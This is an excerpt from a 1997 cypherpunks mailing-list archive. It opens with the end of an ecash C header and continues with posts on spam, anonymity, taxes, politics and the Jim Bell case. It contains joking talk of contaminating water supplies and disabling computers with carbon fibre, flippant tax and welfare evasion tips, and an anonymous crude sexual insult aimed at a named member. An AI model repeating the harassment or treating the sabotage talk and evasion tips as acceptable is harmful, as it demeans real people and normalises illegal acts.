 * EC_Payment_acceptNoAccount() - same as accept() but for accountless
 *                                pockets. Gets called by accept() if
 *                                the pocket is accountless.
 *
 * EC_Payment_acceptNoAccount1() - same as above, but the payment is _not_
 *                                 acked to the payer.
 *
 * EC_Payment_handle() - Unconditionally accept a -lucre EC_M_Payment. This
 *                       will _not_ check amounts. It will handle NoAccount
 *                       automatically.
 *
 * EC_Payment_handleNoAccount() - same as above except for accountless 
 *                                pockets. Called by handle() if the pocket 
 *                                is accountless.
 *
 * EC_Payment_make() - make a payment over the ECSocket passed. This
 *                     function _expects_ a payment ack. Use make1() if
 *                     none will arrive.
 *
 * EC_Payment_make1() - same as above, but does not wait for an ack.
 *
 * EC_Payment_receiveRequest() - Receive a payment request on the ECSocket
 *                               passed. Returns the information in the
 *                               this pointer.
 *
 * EC_Payment_request() - Send a payment request over the ECSocket passed.
 */
ECPayment *EC_Payment_create( ECPocket *pocket );
ECError *EC_Payment_setAmount( ECPayment *this, Int32 amt );
ECError *EC_Payment_setTimestamp( ECPayment *this, UInt32 timestamp );
ECError *EC_Payment_setSeqNo( ECPayment *this, UInt32 timestamp );
ECError *EC_Payment_setDescription( ECPayment *this, char *desc );
ECError *EC_Payment_setRecipientName( ECPayment *this, char *name );
ECError *EC_Payment_setRecipientMint( ECPayment *this, UInt32 id );
ECError *EC_Payment_getAmount( ECPayment *this, UInt32 *amt );
ECError *EC_Payment_getSeqNo( ECPayment *this, UInt32 *seqno );
ECError *EC_Payment_getTimestamp( ECPayment *this, UInt32 *timestamp );
ECError *EC_Payment_getDescription( ECPayment *this, char **desc );
ECError *EC_Payment_getRecipientName( ECPayment *this, char **name );
ECError *EC_Payment_getRecipientMint( ECPayment *this, UInt32 *id );
ECError *EC_Payment_accept( ECPayment *this, ECPocket *pocket,
             ECSocket *sock );
ECError *EC_Payment_accept1( ECPayment *this, ECPocket *pocket,
              ECSocket *sock );
ECError *EC_Payment_acceptNoAccount( ECPayment *this, ECPocket *pocket,
                 ECSocket *sock );
ECError *EC_Payment_acceptNoAccount1( ECPayment *this, ECPocket *pocket,
                  ECSocket *sock );
ECError *EC_Payment_handle( ECPayment *this, ECPocket *pocket, 
             EC_M_Payment payment );
ECError *EC_Payment_handleNoAccount( ECPayment *this, ECPocket *pocket, 
                 EC_M_Payment payment );
ECError *EC_Payment_make( ECPayment *this, ECPocket *pocket, ECSocket *sock );
ECError *EC_Payment_make1( ECPayment *this, ECPocket *pocket, ECSocket *sock 
);
ECError *EC_Payment_receiveRequest( ECPayment *this, ECPocket *pocket, 
                ECSocket *sock );
ECError *EC_Payment_request( ECPayment *this, ECPocket *pocket, ECSocket
*sock 
);



/*-------------------------------------------------------------------- 
 * ECError APIs
 */
ECError *EC_Error_create( void );
ECError *EC_Error_returnValue( Int32 errno );
ECError *EC_Error_returnTCPError( TCPError *err );
ECError *EC_Error_returnLibError( Int32 errno, Int32 libErrno );






#endif /* _ECASH_H_*/

/* <COPYRIGHT_PUB>
 *
 *   Copyright (c) 1995, 1996, 1997
 *      The VeriWeb Internet Corporation.  All Rights Reserved.
 *
 *   This is a published work of the VeriWeb Internet Corporation
 *   ("VeriWeb").  Permission to use and/or redistribute may be 
 *   obtained upon prior written permission by VeriWeb, and 
 *   provided that the following conditions are also met:
 *
 *      1. Redistributions of source code, including binary forms, 
 *         must retain the above copyright notice, this list of 
 *         conditions, and the following disclaimer.
 *
 *      2. Documentation and/or other materials provided with any
 *         redistribution must contain the above copyright notice, 
 *         this list of conditions, and the following disclaimer.
 *
 *      3. All advertising materials mentioning features or use of 
 *         this software must display the following acknowledgement:
 *              
 *              This product includes software developed by
 *              the VeriWeb Internet Corporation and its contributors.
 *
 *      4. Neither the name of the VeriWeb nor the names of its 
 *         contributors may be used to endorse or promote products 
 *         derived from this software without specific prior written 
 *         permission.
 *
 *   THIS SOFTWARE IS PROVIDED BY VERIWEB AND CONTRIBUTORS ``AS IS''.  
 *   THEREFORE, ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 
 *   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 
 *   FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL VERIWEB 
 *   OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 
 *   SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 
 *   LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 
 *   DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED, AND ON 
 *   ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
 *   OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 
 *   OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY 
 *   OF SUCH DAMAGE.
 *
 * </COPYRIGHT_PUB>
 *
 *    ecash.h $Revision: 1.2 $ (VeriWeb) $Date: 1997/05/21 01:48:50 $
 */

/*eof*/


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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--
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                 http://www.veriweb.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Thu, 22 May 1997 03:58:58 +0800
To: Ross Wright <paul@fatmans.demon.co.uk>
Subject: Re: Spam IS Free Speech
In-Reply-To: <199705150640.XAA07531@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970521144153.00ac47e0@labg30>
MIME-Version: 1.0
Content-Type: text/plain


At 05:51 PM 5/15/97 +0000, Paul Bradley <paul@fatmans.demon.co.uk> wrote:
>> > > You can not retaliate against free
>> > > speech, Rick.  That's a bad thing, plain and simple, black and
>> > > white.
>
>Retaliation by force against speech is wrong, more speech is not 
>unethical. It might be unpleasant, but not wrong.
>
>> No shit, you just can't send 10,000 megs of info in retaliation for a 
>> few bits.  Really, there's no call for that.  It's wrong. 
>
>To make a brief analogy: Say you are a market researcher, and you 
>approach me in the street and ask for some time to answer your questions, 
>I do not commit any ethical wrongdoing if I stand there and scream at you 
>for several minutes. If I physically attack you I commit a crime. 
>
>All internet traffic is speech, including syn-ack flood attacks and any 
>other denial of service attempt. This is plain and simple, we have to 
>find technological means of thwarting these attacks, they are not 
>unethical, unpleasant yes, immoral no. 

In the case of shrieking at the researcher, the researcher can simply walk
away.  In the case of a network connection, the ISP cannot simply unplug.

>> >   It costs me money to download unwanted spam. What's this "free"
>> > bullshit?
>> 
>> What?  Like 80 cents per gig?  Please a bit here and a byte there 
>> isn't going to break anyone.  Could someone do the math?
>
>I won`t do the math but the point is it "costs" you energy to listen to 
>someone speaking in the street, sure, it is a very small amount, but it 
>does cost energy from a strict biological point of view.
>This does not lead me to believe any crime is commited by someone 
>speaking to, or at me.

No, spam DOES cost the victim.  I'm not saying that the victim is the spam
recipient.  Think of the ISPs that are the victims of Spamford's
CyberPromotions.  Yes, victims.  Their entire businesses consist of keeping
wires from one side of routers connected to the internet while the wires on
the other side attach to modems and a handful of host computers to serve
mail, news, etc.  When Spamford sends out his 15000 messages, he is denying
the ISPs the bandwidth, CPU and disk storage they are paying for.  By
filling the ISP's drives, he is also denying every customer of those ISPs
from receiving incoming email.

Here's Spamford's M.O., to those of you unfamiliar with how CyberPromo
Makes Money Fast:

1.  Advertise to people that they can send out bulk e-mail for a fixed cost.

2.  Ethically-challenged persons who dream of Making Money Fast draft their
Ponzi schemes, and send them, along with a certain amount of very
non-refundable money, to CyberPromo.

3.  CyberPromo sends out the spam by routing it through sendmail demons
running on other peoples' (the victims') machines.

4.  The complaints and threats of lawsuits land squarely on the shoulders
of the persons unfortunate enough to be running the sendmails.  It is,
after all, their machine which is the origin of the spam.  Just look in the
headers.

5.  The original ethically-challenged persons never see responses to their
original paid-for spam; CyberPromo knows this from the get-go but certainly
won't inform the spammers of this.

6.  When confronted with evidence of the Ponzi schemes by the sendmail
operator, Mr. Wallace replies: "Shame on those nasty users, I'll terminate
their accounts."

7.  Spamford continues to route other spam through the hapless sendmail
operators -- his dozens of registered domains make it extremely tough to
prevent source blocking.

8.  The FBI comes to visit the victimized sendmail operator, investigating
*them* for running pyramid scams.

This situation is the exact situation that has entangled my ISP for the
last couple of months.

Are you telling me that being subjected to a jack-boot investigation for
running pyramid schemes *and* having your customers leave because they
can't get mail services is a reasonable expense to bear because of
Spamford's "right to free speech"?  Spamford's speech (or that of his
"customers") isn't even directed at the sendmail operator or his customers.
 The sendmail operator above is merely being used by Spamford as a
megaphone to broadcast the message of spam to other people (who really
don't want it, either, but that's beside the point.)

It's no longer the same as shouting down the marketing researcher.  

What Spamford has done is to see me walking down the sidewalk carrying a
megaphone, and grab me and tell me that I must stand there and hold my
megaphone in front of some spammer's mouth while the spammer shouts at a
crowd of people who don't want to hear him.  All the while, you stand there
next to Spamford and claim that I must continue to hold my megaphone for
the spammer because it's his "right to free speech", and the only way to
avoid it is to turn my megaphone off, denying me the ability to allow
anyone else to use my megaphone.

The icing on this cake is that if the spammer starts announcing "Make Money
Fast" over my megaphone, the FBI will come and investigate ME because I'm
the one holding the megaphone!

Free speech is NOT the subject here.  My right to walk down the street with
my (lawfully registered) megaphone has been usurped by a thug.  You're
telling me that every megaphone owner has a *duty* to hold it in front of
every spammer's
mouth.  Remember, these are finite megaphones.  They have batteries that
need replacing, and the owners are stuck standing there holding them while
the spammers speak as long as they want.  Sorry, but those megaphone owners
may have other things to do with their megaphones and their time.  You're
confusing "the right to free speech" with "the right to kidnap megaphone
owners".

In this particular case, of course, there was a technical solution:
install a sendmail to prevent routing of incoming mail.  ISPs and
corporations around the globe will need this new hardened sendmail to keep
the spammers away.  Restricting the speech they carry.  Turning off the
megaphones.

Spam is interfering with the *real* victim's (the sendmail operator's)
ability to provide customer service; in a very real and fiscally damaging
way.  It's also restricting the traffic he can carry to only that speech
originating from
his domain.  His right to carry YOUR speech has been restricted by his
technical solution to keep his machine alive.

What is ultimately likely to happen, however, is that Mr. Wallace will be
prosecuted under existing laws for swindling the original MMF spammers.
He's profiting by charging them to steal resources from ISPs.  He *might*
be able to avoid prosecution by putting a "warning sticker" on his
advertising saying something to the effect that, "if you send a Make Money
Fast scam out, the jack-booted thugs will come and haul you away faster
than I can send out your e-mails."  But then he'd have no business at all!

I'm not trying to claim that Mr. Wallace does or does not have the right to
speak to us.  I simply want to point out that there is real monetary loss
to the real victims of his spamming.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 06:11:21 +0800
To: cypherpunks@toad.com
Subject: Re: attila the hun (was Re: Wine Politics Again!)
Message-ID: <199705212141.OAA14578@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> > >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> >       [rant deleted - bill]
> > >Speaking of power corrupting, notice how the power to speak
> > >anonymously has destroyed this poor souls brain.
 
  When Attila T. Hun posts to the list, I can tell you how many
hours, days and minutes it has been since his last post. I know
when I see his name on a post that he has something to say. 
  Perhaps the most telling comment I have heard about him was
when a fellow cypherpunk said about Attila, "When he replies to
one of my posts I never know if he's going to kiss me or rip
me a new asshole.  He doesn't respond to my _reputation capital_
or my perceived net persona--he responds to what I express in
my posting."

  I don't have a problem with the opinions or points of view that
Kent expresses on the cypherpunks list, but I do have a problem
with the fact that his posts seem to reflect a pre-programmed
world-view, with little thought given to the actual content and
concepts expressed by those he is replying to.
  I find Kent's posts to be much like the ASCII art that is posted
to the list--each post is slightly different, but predictable. The
aspersions that Kent casts on those such as Attila and Tim serve
no purpose other than to accentuate the fact that he is envious
of their propensity for dealing on a real-world level with the
concepts he addresses from an intellectual ivory tower.

> > Attila's not anonymous - he's a regular poster, and has been
> > for long enough to build up some reputation around his penname.

  There are people I have known for years--their _real_ name, where
they live, went to school, the annual average rainfall in their
hometown, etc.--but I know very little about who they really are--
how they think, what they believe, etc.
   I know a lot more about Attila T. Hun. His posts reflect who he
is, where he's been, what he's done, and his perceptions about
himself and the world around him. His posts reflect his persona.
   Kent's posts reflect, in my opinion, what he has "learned to
believe." When I read Kent's posts, I don't feel like I learn
who he is, but rather, I learn the "position" that he is taking
on this or that point.
   Real name/anonymity aside, I see Attila as real and Kent as a
shadowy figure. My advice to Kent would be, "If you're going to
be an asshole, at least be a _real_ asshole." I enjoy the exchange
of differing viewpoints (and genuine conflicts) on the cypherpunks
list, because it gives me food for thought about positions and
viewpoints that I have dichotimous feelings about, but I have
little use for lukewarm, passive-aggressive exchanges. (I prefer
the pissing contests between raving maniacs.)

> In short I believe you picked on the wrong guy if you considered
> Attila an example of someone with lots to say when hiding behind
> strong anonymity.

  I have used a variety of "names" as a writer, musician and as a
fugitive from injustice. Whenever I looked in the mirror, however,
I always saw the same face. And no matter what "persona" I am using,
I find that I feel most like "myself" when I speak and act honestly,
no matter whether my stance is homeostatic or dichotymous.
  I have done traffic/personality/pseudonym analysis on the list for
years and have uncovered a plethora of anonymous personas. Some use
anonymity to "step out of" their regular list persona. Some use it
to address issues that could not deal with under their regular
persona because of a need to protect their perceived public/social
image. Some use anonymity because of personal or business conflicts
that could be used against them by those who feel threatened by
honesty. Others use anonymity because it is fun to play "hide and
seek" with list members who know them well enough to suspect who
they _really_ are.

  I first encountered the "TruthMonger" persona in 1989 and have
followed its evolution since that time. The better I got at 
tracking the various entities assuming the TruthMonger persona,
the more I realized that those who claim to "know" or "expose"
who a particular TruthMonger _really_ is are wrong about
90% of the time.
  The reason for this is simple.
  Once we form an "opinion" of _who_ somebody is and _what_they_
believe_, and _who_they_are_, then we "interpret" what they
have to say in their posts in accordance with our learned
perception of them. Accordingly, we fail to see the naturally
occuring dichotomys and inconsistencies that are inherent in
living, learning and adapting to the evolution of thought which
comes with an expanding mental and emotional paridigm.
  When the same person posts anonymously, then those who know
them and have an "opinion" of who they are and what they think
can no longer categorize their post automatically and interpret
it in the "usual" manner.

  Anonymity forces the reader to consider the content that is
contained in the post, rather than automatically consigning it
to the proper "box" according to the established persona of a
regular poster.
  Many people are not comfortable with not being able to
"assign" an anonymous persona with the author's appropriate
mental "box" so they attribute this or that post with this
or that list member and respond accordingly.

  I am posting this anonymously.
  Who am I? I am the person who believes what I have written here
and who doesn't want what I am expressing to be classified 
according to what I wrote yesterday.

I am:
TruthMonger # -96





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 22 May 1997 06:07:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The USA is the world's biggest terrorist state
Message-ID: <v03102803afa91fef621c@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>The United States of America sits astride the world, holding the riding
>crop and ordering the other nations of the world around in various ways. It
>sends troops to distant parts of the world. It even takes on the main
>"peacekeeping" (meaning: choosing a faction and suppressing the other
>factions) role in Yugoslavia...surely a European problem, if a problem at
>all.
>

The US is in very real danger of reaping the same sort of maelstrom that
vanquished the Romans.  They were also very powerful, with tentacles
reaching almost to the limits of their known world, before a combination of
internal decay and dissention and reprisal from those vanquished put them
asunder.

The government's recent emphasis on terrorism is apt since they have
created so many enemies of ethnic, political, religious and social groups.
Even paranoids have enemies.  The internal threat is not near as great as
they portray, but with increased emphasis on suppression and prosecution
rather than addressing the ills, it will likely become a self-fulfilling
prophesy.  However, addressing the complaints of these militias is not
under consideration because it would undo the very fabric of Federal
jurisdictional excesses which provide the government's power base.

Economics and the freedom, or lack, it entails is key.  One reason our
political system doesn't work is the Fed's right to tax internal economic
activity as opposed to the excise taxes it was originally granted.  Too
much money (power) is concentrated in too few representatives who work in
relative isolation (ever try and get a meeting with your rep.) for most of
their term.  If internal taxes could only be levied by states, who then
were free to revenue share what they wished with the Feds (who would submit
their requests and budgets to the states), power might be so diffused as to
make nationwide lobbying too difficult and expensive and there would be a
much closer adherence to local interest.

We appear to be heading straight for a Whiskey Rebellion type showdown.  In
fact, many of the same complaints of retreat from the founding principles,
which were ignored in the 1780-90s, are echoing in the writings and
speeches of today's militia.  In the 1790s it was wealthy and powerful
eastern businessmen, mostly former Torries, who supported Hamilton and
Washington against the frontiersmen.  This time its the military industrial
complex.  This time I hope the resistance is much bettered prepared.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 22 May 1997 04:51:07 +0800
To: "Willaim H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Wine Politics Again!
In-Reply-To: <19970521092223.04748@bywater.songbird.com>
Message-ID: <3.0.2.32.19970521155948.007c2100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:05 PM 5/21/97 -0500, you wrote:

|
|It is very simple as to what the legitimate activities of the 
government
|is. It is explicitly spelled out in The Constitution of The United 
States.
|It states quite clearly in no uncertain terms what the federal 
government
|can and can not do. Unfortunately people like yourself and the 
majority of
|politicians feel that they can wipe their ass with this document 
whenever
|it suits their needs
|- -----------------------------------------------------------
|William H. Geiger III  http://www.amaranth.com/~whgiii
|Geiger Consulting    Cooking With Warp 4.0

More importantly perhaps, the Tenth Amendment directs, that is to say 
it is not left up to chance, who shall possess those unassigned powers:


"The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the states, are reserved to the states 
respectively, or to the people.

In many cases these reserved powers have been assumed by the federal 
government or abrogated by the people.

Alec 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 22 May 1997 04:46:58 +0800
To: cypherpunks@toad.com
Subject: PKP-Lemcom License Agreement
Message-ID: <1.5.4.32.19970521202326.0092f950@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to John Gilmore we offer the 1992 License
Agreement between PKP and Lemcom Systems filed
as an exhibit in the RSA v. PGP suit:

   http://jya.com/pkplem.htm  (41K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 22 May 1997 04:38:48 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <199705182104.OAA20232@netcom14.netcom.com>
Message-ID: <Pine.SUN.3.91.970521160141.1337N-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 18 May 1997, Vladimir Z. Nuri wrote:

> R.A.:
> >You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
> >gets taken out of every pay check before you even see it.   Then, come 
> >April 15, you fill a piece of paper out with the hope you'll get some of 
> >it back.  But sometimes, Uncle Sam takes even more.
> 
> right. and those who do nothing to change this, certainly can't expect
> that it will ever change.  but in fact it *has* changed before. it
> wasn't always the case that money was withhold. this law was introduced
> during WWII as I understand it.

Of course.  That would be the perfect time for it.  Martial Law and all 
that.  Oppose it and you get thrown in jail...  or labeled a spy or 
something...  What else is new?  Declare martial law, then put the screws 
in.  Once in place they're almost imposible to remove without leaking 
loads of blood.
 
> is it true that something that can be done cannot be undone? or can
> the withholding tax be undone just as it was done? a certain amount
> of energy was expended in creating the situation that we find ourselves
> in-- decades of entrenchment. I submit that exactly the same amount
> of energy applied to the problem can *undo* it. it's a simple concept
> of conservation of energy. granted, a lot of energy is involved, I don't
> deny that. but *no* energy will get you absolutely nowhere. 

Welp, go for it.  Do whatever you think is appropriate to undo the law.  
I'd bet the people will agree with you, but the political scum that is, 
will not, nor is it likely that the media will allow you to speak your 
words. More likely weird allegations of child molestation, drug abuse, 
and plans of A.P. will "leak" out, and possibly a Jim Bell style raid on 
your house. :)  Asking your kongress kritter to undo this law is unlikely 
to result in much more than laughter.  So where does that leave you?

> what others are claiming is that no amount of energy will change
> anything, so why bother? indeed, why bother with your life at all?
> perhaps suicide is the easiest and ultimate solution for people who
> think this way. there are things in your life that you think you
> can change, right? why is the tax system not included in that category?
> I agree, one person cannot change the system. do not give me examples
> where one person failed. this is conservation of peoplehood; if many
> people were involved in its creation, than many must be involved in
> its destruction.

*Burp* Sorry, I'm too busy with living my life to do a Heaven's Gate 
special. :)  Since the money is taken out before we even see it, most 
people won't fight it, since it is already gone.

Well, then organize the many to do something if that is your wish.  
Nothing is holding you back.

I myself consult out.  Consulting out means that the money isn't taken 
out at all.  You just have to pay it back come April 15.  Day job, being 
a full time job, money gets taken out automagically by the evil agents 
of the IRS critters.  Consulting money, come the 1099 form, gets taxed 
after.

So even if you manage to upturn this law and get to keep the money until 
April 15, it wouldn't affect me much.  IMHO it's much easier if the money 
gets withheld, then having to pull hairs out doing tax forms come April.

Now if you can somehow repeal income tax, that would be a useful 
achievement. :)

I'm not opposed to taxes.  I'm opposed to their use without my say.  That 
is I want to tell Uncle Sam where the money goes.  If I decide my 30% 
that they chop out goes to the next stealth bomber, then that is where 
it should go.  If I say it should go to the schools, then that is where 
it should go, etc.  You think them kongress kritters will accept such a 
thing?  And no, not one cent of my "voluntary" contribution would go to 
kongress, were I to have it my way.  Hell, if I could even decide on 1/2 
of that, it would still be progress.

IMHO, this is nothing but a pipe dream, and I don't have any interest in 
politics.  I've too many other concerns to deal with.

But do whatever you feel is appropriate.  That in a nutshell was my 
opinion.  *Burp*

> oh really? here are some questions that anyone can ask about
> why their money was stolen.
> 
> 1. who is the person who stole my money?

In the case of taxes, Uncle Sam

> 2. why did they steal it?

For a billion things such as stealth bombers, for kogress salaries, for
bullets, for $3K military issue toilets that will survive nuke blasts, roads,
toll bridges, tax forms, black budget stuff, shipments to other countries,
jails, new draconian laws, bribe money, money to pay the prostitutes at the
congressional parties, "Just Say No" anti drug campains, trading coke for
guns, etc, etc, etc... 

> 3. what could prevent it from being stolen?

Welp, that's simple.  Quit your job and become homeless.  If you don't 
produce any money, they can't take any away from you.  They certainly 
can't put you in jail for it, and hell if they do, guess what, you get 
free food and a free place to sleep, and a big boyfriend named 'Bubba to 
keep you warm and fuzzy at night.

> 4. what can I do to protect my money from being stolen?

Work for the mob or something equally salacious, or get paid in cash and 
say you're unemployed, then go on welfare while you work, etc...

> government construction is an *engineering* problem. you cannot
> build something without putting thought and labor into it.
> I believe that if cpunks put their mind to it, they could create
> a better system than we now have-- and it wouldn't be anarchy (which
> is no system at all).

So put your mind to it and do something about it instead of yapping 
about it to us.  We don't give a shit.  If we did, we would have done 
something about it already.
 
> what if you showed up on the doorstep of a politician of your choice
> who you thought was stealing money from you? what if not only you
> but many people did this? would the government change? would they
> shoot you?

A few years back, the men in white would be called with a padded wagon, or
more likely today the jack booted ATF (ex BATFuck) men with guns and 
walkie talkies.
 
> I don't buy into the alienation and cynicism on this list peddled
> by TCM, truthmonger, et.al., and I suggest that anyone else who
> does is selling themself short, and in fact part of the problem and
> not the solution.

"If you're not part of the solution, you're part of the precipitate"  --
whomever.. Say, whatever you've been smoking, care to share it with us?  We
could use some I'm sure... 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 22 May 1997 04:45:37 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Hey, what does this mean?
In-Reply-To: <v03007804afa7d8fc47e2@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970521163045.13177M-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 20 May 1997, Tim May wrote:

> Anybody know what this means?

> According to Arlington detective Tom DeGongue, Aaron was charged Monday in
> Arlington Circuit Court with one felony count of possession of bomb-making
> instructions and one misdemeanor count of resisting arrest. According to

Felony count of possession of bomb-making instructions?  *INSTRUCTIONS*?

he'll be on the streets tomorrow, no charges pressed.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 08:05:24 +0800
To: cypherpunks@toad.com
Subject: One-time pads
Message-ID: <199705212337.QAA20381@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] May sits at his terminal dressed in five-inch stiletto heels, 
fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath 
to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath 
the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a 
black man responds to one of his inane rants.

          ^. .^
          ( @ )
            c





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 22 May 1997 04:56:43 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Jim Bell 2
In-Reply-To: <v03007802afa7a6a35406@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970521162856.1337P-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 20 May 1997, Tim May wrote:

> About these charges I can of course say nothing. (Though I note that _my_
> SS card says quite clearly it is for tax and SS purposes ONLY, and is not
> be used for identification. When I pointed this out down at the Department
> of Motor Vehicles, I was met with a shrug and told that if I did not give
> my SS number as ID number I would not get a registration tag, and that if I
> persisted in arguing this at the counter that "security" would be called in
> to have me removed or arrested or tortured or whatever. By the way, would
> it be useful guerilla theater exercise to have our SS numbers tattooed on
> our forearms?)

Since the damn things are used for ID and secret shared keys, etc. doing 
so would fuck up your own privacy.  If you're gonna do that, encrypt it 
first. :)

> Who of us hasn't brainstormed about how to attack the security of a system,
> or the security of a water supply? Who of us hasn't thought about how easy
> it would be drop LSD or botulins in the water supplies of a major site? Is
> this also called "contingency planning"? Or "tiger team analysis"?

I do that all the time at work when we take a new system and install it 
so it can be sealed. :)
 
> It could be argued, and I hope it will be, that Bell was helping his friend
> Daly improve the security of his computer installation.

Let's pass it on to his lawyer.

> (Not to mention the vastly more important argument to use: First Amendment
> protection of speech. Conspiracy and RICO charges are hardly valid when
> only speech is involved...I'm not a lawyer, but I believe there has to be a
> realistic expectation that a crime is being planned to be carried out, with
> some reasonable chance of being completed, before a "conspiracy" can be
> charged. A few friends sitting around brainstorming about threats,
> counterthreats, and possible attacks does not a conspiracy make.)

Is RICO even constitutional? I bet McCarthy is smiling... :(

> >   Daly also told IRS agents that he had hypothetical discussions with
> >   Bell about contaminating water supplies and about making botulism
> >   toxin from green beans, the affidavit said.
> 
> And?

Yeah, well, the other day I was talking to someone about pissing in the 
water supply too...  Birds that fly over it, do it all the time.  Oh, and 
I'm gonna eat beans and fart, and pollute the air supply. :)  That was 
the discussion.  Will the arrest me next for that?
 
> >   In the April 17 and 18 interviews with IRS agents, Daly said that as part
> >   of his job, he "has keys and direct access to the Portland Bull Run
> >   water treatment facility."
> 
> And? (I can see scared officials firing Daly, unless he is protected by
> other interventionist laws.)

Yeah, and I have the root password for the machines I've installed and 
run.  Whoop Whoop.
 
> >   Daly said Monday that the conversations that he and Bell had were
> >   merely "intellectual fun-and-games discussions" between old friends
> >   who enjoy technical things.
> >
> >   "There's a difference between reasonable freedom of speech and
> >   unreasonable probability of attack," Daly said. "Standing around and
> >   flapping our lips about how it would be funny is way different from
> >   even contemplating actual attack."
> 
> Exactly. Seems some folks don't understand the First Amendment...this seems
> to be endemic in America today, especially amongst public officials.

But will the judge and jury remember this?
 
> >   Thursday, IRS agents searched the home of Robert East, a merchant
> >   radioman and a friend of Bell's. Among items seized was 3-foot length
> >   of carbon fiber.
> 
> Gee, could this carbon fiber be involved in his radio work? Gee.

Like maybe he was building a resistor?  Wait, I forgot, resistance if 
futile, you will be assimilated.

> >   The affidavit said East told agents that he and Bell had discussed "the
> >   possibility of putting the fibers down the air vents of a federal building"
> >   to kill its computers and about using the fiber against the IRS.
> 
> Sounds exactly like the sort of "what-if" theorizing that all technical
> people (and novelists, screenwriters, etc.) like to do. Also the staple of
> the "Infowar" mailing lists, not to mention "rec.pyrotechnics" sorts of
> newsgroups.

And how would a carbon fiber do that?
 
Hey, I have a bottle of Tabasco(tm) sauce on my desk.  Someone might come 
out of the woodwork and claim that I was planning to put that in the 
water supply.  Hehehehe... :(

> Free speech is under massive assalt in the Terror State of America.

